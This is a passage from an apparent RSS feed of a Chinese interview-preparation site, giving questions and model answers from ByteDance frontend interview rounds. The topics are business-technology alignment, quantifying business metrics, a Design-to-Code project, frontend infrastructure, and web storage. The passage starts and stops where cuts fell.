&lt;p&gt;除了生命周期差异，还有一些其他区别。数据共享机制上，localStorage支持storage事件，当其他页面修改localStorage数据时，当前页面可以监听到这个变化，这在多标签页应用中很有用；而sessionStorage不支持这种跨页面的事件通知。安全性方面，sessionStorage由于其会话特性，数据泄露的风险相对较小。在浏览器兼容性上，两者的支持程度基本一致，都是HTML5的特性。使用场景也有明显区别：sessionStorage常用于单页面应用的状态管理、表单数据的临时保存等；localStorage则用于用户设置、主题偏好、离线数据缓存等需要持久化的场景。在移动端开发中，还需要考虑存储空间限制和清理策略。&lt;/p&gt;</description></item><item><title>字节-社招-6年（3-1） · 第 1 轮 · 交叉面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-83/</link><pubDate>Sun, 27 Jul 2025 12:21:05 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-83/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-82/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 3 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-bd90d23570ab"&gt;1. 如何理解业务与技术的关系，如何将业务需求转化为技术方案&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;解释业务与技术的相互依赖和促进关系&lt;br&gt;&lt;/li&gt;
&lt;li&gt;梳理需求理解到方案设计的完整流程&lt;br&gt;&lt;/li&gt;
&lt;li&gt;强调沟通、验证和持续优化的重要性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合案例体现实际落地思路&lt;br&gt;&lt;/li&gt;
&lt;li&gt;警示脱节风险，体现系统思考&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解业务与技术的相辅相成关系"&gt;● 理解业务与技术的相辅相成关系&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-掌握业务需求分析和技术方案设计流程"&gt;● 掌握业务需求分析和技术方案设计流程&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-能将抽象业务目标拆解为具体技术实现路径"&gt;● 能将抽象业务目标拆解为具体技术实现路径&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-体现跨部门沟通和协作能力"&gt;● 体现跨部门沟通和协作能力&lt;br&gt;&lt;/h4&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h3 id="一业务与技术的关系理解"&gt;一、业务与技术的关系理解&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;相辅相成&lt;/strong&gt;：业务是技术的驱动力，技术是业务落地的支撑。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;业务需求为核心&lt;/strong&gt;：技术方案应围绕业务目标服务，解决实际问题，促进业务增长。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术赋能业务创新&lt;/strong&gt;：通过技术提升效率、优化体验、开拓新业务模式。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动态迭代&lt;/strong&gt;：业务变化带来技术调整，技术创新反哺业务拓展，形成良性循环。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="二将业务需求转化为技术方案的步骤"&gt;二、将业务需求转化为技术方案的步骤&lt;/h3&gt;
&lt;h4 id="1-需求理解与梳理"&gt;1. 需求理解与梳理&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;深入沟通，明确业务背景、目标及关键痛点。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;梳理业务流程，明确输入输出及核心功能点。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;识别非功能性需求，如性能、安全、可扩展性。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-方案调研与评估"&gt;2. 方案调研与评估&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;研究现有技术栈及解决方案的适用性。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;评估技术选型的可行性、成本、风险与团队能力。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合业务优先级确定技术方案核心方向。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-技术方案设计"&gt;3. 技术方案设计&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;架构设计：整体技术架构、模块划分、接口设计。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;技术细节：选用框架、数据库设计、接口协议、安全机制等。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;性能与安全：设计性能优化点和安全防护方案。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-方案验证与沟通"&gt;4. 方案验证与沟通&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;原型或PoC验证方案可行性。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;向业务团队和相关部门说明方案，获取反馈和支持。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;根据反馈调整方案，确保与业务需求匹配。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-实施与持续优化"&gt;5. 实施与持续优化&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;制定详细的开发计划和质量保障措施。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;迭代交付，及时根据业务变化调整技术方案。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;建立监控和反馈机制，确保方案持续满足业务目标。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="三实际案例示范"&gt;三、实际案例示范&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;针对用户增长业务需求，设计可扩展的用户行为分析系统。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;技术团队结合业务需求选用微服务架构，支持快速迭代和多渠道接入。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;通过技术方案提升数据处理效率，助力业务决策精准化。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="四常见误区与面试陷阱"&gt;四、常见误区与面试陷阱&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;❌ 技术方案脱离业务需求，造成资源浪费和低效。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 业务需求不明确，导致方案反复修改或失焦。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 缺少跨团队沟通，信息孤岛影响方案落地。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 忽视非功能性需求，如安全和性能，影响用户体验。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="五总结观点"&gt;五、总结观点&lt;/h3&gt;
&lt;p&gt;业务和技术密不可分，技术方案的设计必须紧扣业务目标，基于深入理解的业务需求进行科学规划和实施。通过有效沟通与验证，确保技术方案既满足当前业务，又具备扩展能力，实现技术对业务的最大赋能。&lt;/p&gt;</description></item><item><title>字节-社招-6年（3-1） · 第 1 轮 · 三面&amp;交叉面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-82/</link><pubDate>Sun, 27 Jul 2025 12:18:23 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-82/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-81/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-83/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-adc36654c68d"&gt;1. 介绍一下主导的业务系统以及相关工作&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-492e3ff524cc"&gt;2. 系统如何量化提升业务指标&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;说明指标分类和目标设定方法&lt;br&gt;&lt;/li&gt;
&lt;li&gt;描述数据采集和监控流程&lt;br&gt;&lt;/li&gt;
&lt;li&gt;强调数据分析和问题洞察能力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;介绍方案设计、执行及量化评估手段&lt;br&gt;&lt;/li&gt;
&lt;li&gt;提出技术与业务结合的具体措施&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解业务指标的定义与分类"&gt;● 理解业务指标的定义与分类&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-掌握数据采集分析和量化的方法"&gt;● 掌握数据采集、分析和量化的方法&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-熟悉目标设定方案设计与效果评估流程"&gt;● 熟悉目标设定、方案设计与效果评估流程&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-结合技术手段和产品思维推动业务增长"&gt;● 结合技术手段和产品思维推动业务增长&lt;br&gt;&lt;/h4&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h3 id="一业务指标的定义与分类"&gt;一、业务指标的定义与分类&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心业务指标（KPI）&lt;/strong&gt;：反映业务目标的关键数据，如用户留存率、转化率、活跃度等。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;辅助指标&lt;/strong&gt;：支持分析业务表现的相关数据，如页面加载速度、点击率、错误率。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指标分层&lt;/strong&gt;：宏观指标（整体业务）+ 微观指标（细分功能或用户行为）。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="二量化提升业务指标的流程"&gt;二、量化提升业务指标的流程&lt;/h3&gt;
&lt;h4 id="1-明确目标指标"&gt;1. 明确目标指标&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;根据公司战略和产品定位确定重点指标。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;指标需具体、可衡量且可执行（SMART原则）。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-数据采集与监控"&gt;2. 数据采集与监控&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;集成数据埋点和埋点管理工具（如 Google Analytics、自研埋点系统）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;监控关键路径数据，实时获取指标动态。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-数据分析与洞察"&gt;3. 数据分析与洞察&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;使用数据分析工具（如 SQL、BI平台）深入挖掘用户行为和业务趋势。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;找出指标波动的原因，定位痛点和机会。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-方案设计与执行"&gt;4. 方案设计与执行&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;结合业务和技术设计改进方案，如性能优化、功能迭代、用户体验提升。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;制定具体执行计划，分阶段推动落地。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-量化评估与反馈"&gt;5. 量化评估与反馈&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;通过A/B测试等手段验证方案效果，避免主观判断。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;持续监控指标变化，调整优化策略。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="三技术手段支持"&gt;三、技术手段支持&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;前端性能优化&lt;/strong&gt;：减少首屏加载时间，提高用户体验，促进留存和转化。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;埋点与事件追踪&lt;/strong&gt;：精准采集用户操作数据，支持业务决策。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;监控与告警&lt;/strong&gt;：及时发现业务异常，保证系统稳定性。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动化测试和持续集成&lt;/strong&gt;：保证新功能质量，降低回归风险。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="四案例示例"&gt;四、案例示例&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;通过页面性能优化，将首屏时间从5秒降到1秒，用户跳出率下降20%。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;利用细粒度埋点监控用户点击路径，发现某环节转化低，优化流程后转化率提升15%。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;采用A/B测试验证新推荐算法效果，点击率提升10%。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="五常见误区与挑战"&gt;五、常见误区与挑战&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;❌ 盲目追求指标数字增长，忽视用户体验和长期价值。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 缺少科学的数据采集和分析，导致数据不准确。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 忽视持续监控和迭代，方案实施后无后续跟进。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 目标不明确或过于宽泛，难以量化和评估。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="六总结观点"&gt;六、总结观点&lt;/h3&gt;
&lt;p&gt;系统性量化提升业务指标需要结合明确目标、科学数据采集与分析、合理方案设计、严谨效果评估和持续优化。技术与产品紧密配合，才能驱动业务稳定增长和用户价值提升。&lt;/p&gt;</description></item><item><title>字节-社招-6年（3-1） · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-81/</link><pubDate>Sun, 27 Jul 2025 12:12:49 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-81/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-80/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-82/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 9 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-1a40d6f759b7"&gt;1. 讲一下D2C（Design to Code）这个项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;阐述 D2C 的概念和目标&lt;br&gt;&lt;/li&gt;
&lt;li&gt;说明设计稿到代码的转换流程和关键技术&lt;br&gt;&lt;/li&gt;
&lt;li&gt;分析项目架构及技术栈组成&lt;br&gt;&lt;/li&gt;
&lt;li&gt;指出面临的挑战与解决方案&lt;br&gt;&lt;/li&gt;
&lt;li&gt;强调项目对团队效率和产品质量的提升价值&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解-d2c-项目的定位及价值"&gt;● 理解 D2C 项目的定位及价值&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-掌握设计稿自动转化为代码的核心技术与流程"&gt;● 掌握设计稿自动转化为代码的核心技术与流程&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-了解项目中遇到的技术挑战及解决方案"&gt;● 了解项目中遇到的技术挑战及解决方案&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-能阐述项目架构自动化程度及实际应用场景"&gt;● 能阐述项目架构、自动化程度及实际应用场景&lt;br&gt;&lt;/h4&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h3 id="一项目背景与定义"&gt;一、项目背景与定义&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;D2C（Design to Code）&lt;/strong&gt; 是一个致力于将设计稿（如 Figma、Sketch、Adobe XD）自动或半自动转换为前端代码（如 React、Vue、Flutter 等） 的技术项目。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;目的是大幅提升设计与开发的协作效率，缩短从设计到上线的周期，减少手工编码错误和重复劳动。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="二核心原理与技术流程"&gt;二、核心原理与技术流程&lt;/h3&gt;
&lt;h4 id="1-设计稿解析"&gt;1. 设计稿解析&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;利用设计工具开放的 API 或导出格式（如 JSON、SVG、图层数据）提取设计元素信息。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;包括图层结构、样式属性（颜色、字体、布局）、交互定义等。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-结构映射与组件识别"&gt;2. 结构映射与组件识别&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;将设计图层结构映射为前端组件树，分析布局关系（如 Flexbox/Grid），抽象为对应的代码组件。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;识别常用设计元素（按钮、输入框、列表等），映射成对应 UI 组件库元素，便于复用。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-代码生成"&gt;3. 代码生成&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;根据映射关系自动生成对应框架的代码（JSX、Vue SFC、Flutter Widget 等）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;自动写入样式代码（CSS-in-JS、Less、Sass），保证样式还原度。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;支持动态交互事件和路由跳转逻辑的基本嵌入。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-优化与可维护性保障"&gt;4. 优化与可维护性保障&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;生成代码结构清晰、易于阅读和二次开发。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;支持设计稿变更自动更新代码，保障设计-开发同步。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="三项目架构与技术栈"&gt;三、项目架构与技术栈&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;前端&lt;/strong&gt;：基于 React/Vue 实现可视化设计解析和代码展示。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后端&lt;/strong&gt;：负责设计稿文件解析、复杂转换逻辑和代码模板管理。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;辅助工具&lt;/strong&gt;：利用 AST 解析和模板引擎生成高质量代码。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;集成&lt;/strong&gt;：支持与设计工具插件无缝对接，实现一键转码。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="四技术挑战及解决方案"&gt;四、技术挑战及解决方案&lt;/h3&gt;
&lt;h4 id="1-设计与代码结构差异"&gt;1. 设计与代码结构差异&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;设计稿与前端布局模型（盒模型、Flex/Grid）存在差异，需智能转换布局方案。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;通过规则引擎和机器学习辅助识别设计意图，提升转换准确率。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-样式还原与响应式支持"&gt;2. 样式还原与响应式支持&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;设计稿静态像素为主，需转换成动态响应式样式。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;采用抽象布局单元、断点处理等方法，实现多端适配。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-动态交互与状态管理自动化"&gt;3. 动态交互与状态管理自动化&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;静态设计向动态代码过渡，自动注入事件处理和状态逻辑，增强可用性。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-性能与可维护性平衡"&gt;4. 性能与可维护性平衡&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;生成代码需避免臃肿冗余，保证性能和后续维护成本。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;通过代码模板优化和分层设计解决。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="五项目应用场景与价值体现"&gt;五、项目应用场景与价值体现&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;提高开发效率&lt;/strong&gt;：设计师和开发者快速交付，高效协作。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;降低人力成本&lt;/strong&gt;：减少重复手工编码，避免低级错误。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提升设计一致性&lt;/strong&gt;：保持设计与实现的高度一致，减少偏差。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支持多平台快速迭代&lt;/strong&gt;：针对 Web、移动端统一输出，便于多端覆盖。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="六常见误区及面试陷阱"&gt;六、常见误区及面试陷阱&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;❌ 认为 D2C 能完全替代人工编码，实际还需开发者做细节调整。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 忽视设计工具多样性和格式兼容性带来的技术复杂度。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 忽略代码生成后的维护和二次开发难度。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;❌ 过度依赖自动化，导致生成代码性能或质量下降。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="七总结观点"&gt;七、总结观点&lt;/h3&gt;
&lt;p&gt;D2C 项目是设计与开发深度融合的技术创新，通过自动解析设计稿并生成高质量前端代码，极大提升开发效率和设计一致性。该项目涉及设计解析、智能映射、代码生成和性能优化多个技术环节，虽存在一定技术挑战，但未来有广阔应用前景。&lt;/p&gt;</description></item><item><title>字节-社招-6年（3-1） · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-80/</link><pubDate>Sun, 27 Jul 2025 12:05:14 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-80/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-81/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; react 渲染机制、react hooks、Webpack与Vite&lt;/p&gt;
&lt;p&gt;本轮共 15 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-c5bbf116f24b"&gt;1. 请选择一个最有技术挑战的项目，说明你解决的核心问题、技术选型依据及后续优化空间&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;STAR法则&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;根据自己项目经历，提前挖掘亮点、准备项目&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a46093da7a90"&gt;2. 作为前端负责人，在前端基础设施层做了哪些体系化建设&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;从规范、工具链、组件库、监控和协作多维度展开&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合具体措施与实际效果进行阐述&lt;br&gt;&lt;/li&gt;
&lt;li&gt;展现管理、技术与团队文化的融合能力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;体现对挑战的预判和解决方案&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-考察候选人对前端基础设施的整体认知和架构设计能力"&gt;● 考察候选人对前端基础设施的整体认知和架构设计能力&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-了解候选人在团队管理与技术规范制定上的实践经验"&gt;● 了解候选人在团队管理与技术规范制定上的实践经验&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-关注候选人如何通过基础设施提升团队开发效率和产品质量"&gt;● 关注候选人如何通过基础设施提升团队开发效率和产品质量&lt;br&gt;&lt;/h4&gt;
&lt;h4 id="-体现对可维护性可扩展性和技术创新的把控"&gt;● 体现对可维护性、可扩展性和技术创新的把控&lt;br&gt;&lt;/h4&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h3 id="一前端基础设施体系化建设的核心内容"&gt;一、前端基础设施体系化建设的核心内容&lt;/h3&gt;
&lt;h4 id="1-统一的技术规范与编码标准"&gt;1. 统一的技术规范与编码标准&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;制定并推广团队统一的代码规范（如 ESLint、Prettier 规则）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;统一命名、目录结构、组件设计规范，确保代码可读性和维护性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;定期组织代码评审，强化规范执行和技术交流&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-构建和自动化工具链搭建"&gt;2. 构建和自动化工具链搭建&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;设计统一的构建流程，选用并维护基于 Webpack、Vite 等的构建工具&lt;br&gt;&lt;/li&gt;
&lt;li&gt;实现自动化构建、测试、打包、发布流程（CI/CD）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;集成自动化测试框架（单元测试、集成测试、端到端测试）&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-组件库与设计系统建设"&gt;3. 组件库与设计系统建设&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;搭建和维护通用组件库，提升复用率与一致性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合设计系统规范，确保视觉与交互体验统一&lt;br&gt;&lt;/li&gt;
&lt;li&gt;推动组件库文档化、版本管理和持续迭代&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-性能监控与质量保障体系"&gt;4. 性能监控与质量保障体系&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;建立前端性能监控（如首屏时间、资源加载、交互响应）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;引入错误收集与上报系统，实现线上问题快速定位&lt;br&gt;&lt;/li&gt;
&lt;li&gt;建立质量门禁（代码覆盖率、性能阈值、代码扫描）&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-多端统一与跨团队协作支持"&gt;5. 多端统一与跨团队协作支持&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;设计跨平台技术方案（Web、移动端、小程序）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;制定接口规范和Mock数据方案，保障前后端高效协作&lt;br&gt;&lt;/li&gt;
&lt;li&gt;推动微前端或模块化方案，支持多团队并行开发&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="二实施效果与价值体现"&gt;二、实施效果与价值体现&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;提升团队开发效率，减少重复工作和沟通成本&lt;br&gt;&lt;/li&gt;
&lt;li&gt;保证代码质量和产品稳定性，降低线上故障率&lt;br&gt;&lt;/li&gt;
&lt;li&gt;加速产品交付，缩短上线周期&lt;br&gt;&lt;/li&gt;
&lt;li&gt;促进团队技术能力成长，构建良好技术文化&lt;br&gt;&lt;/li&gt;
&lt;li&gt;支持业务快速扩展，适应多端多业务场景需求&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="三可能遇到的挑战与应对策略"&gt;三、可能遇到的挑战与应对策略&lt;/h3&gt;
&lt;ul&gt;
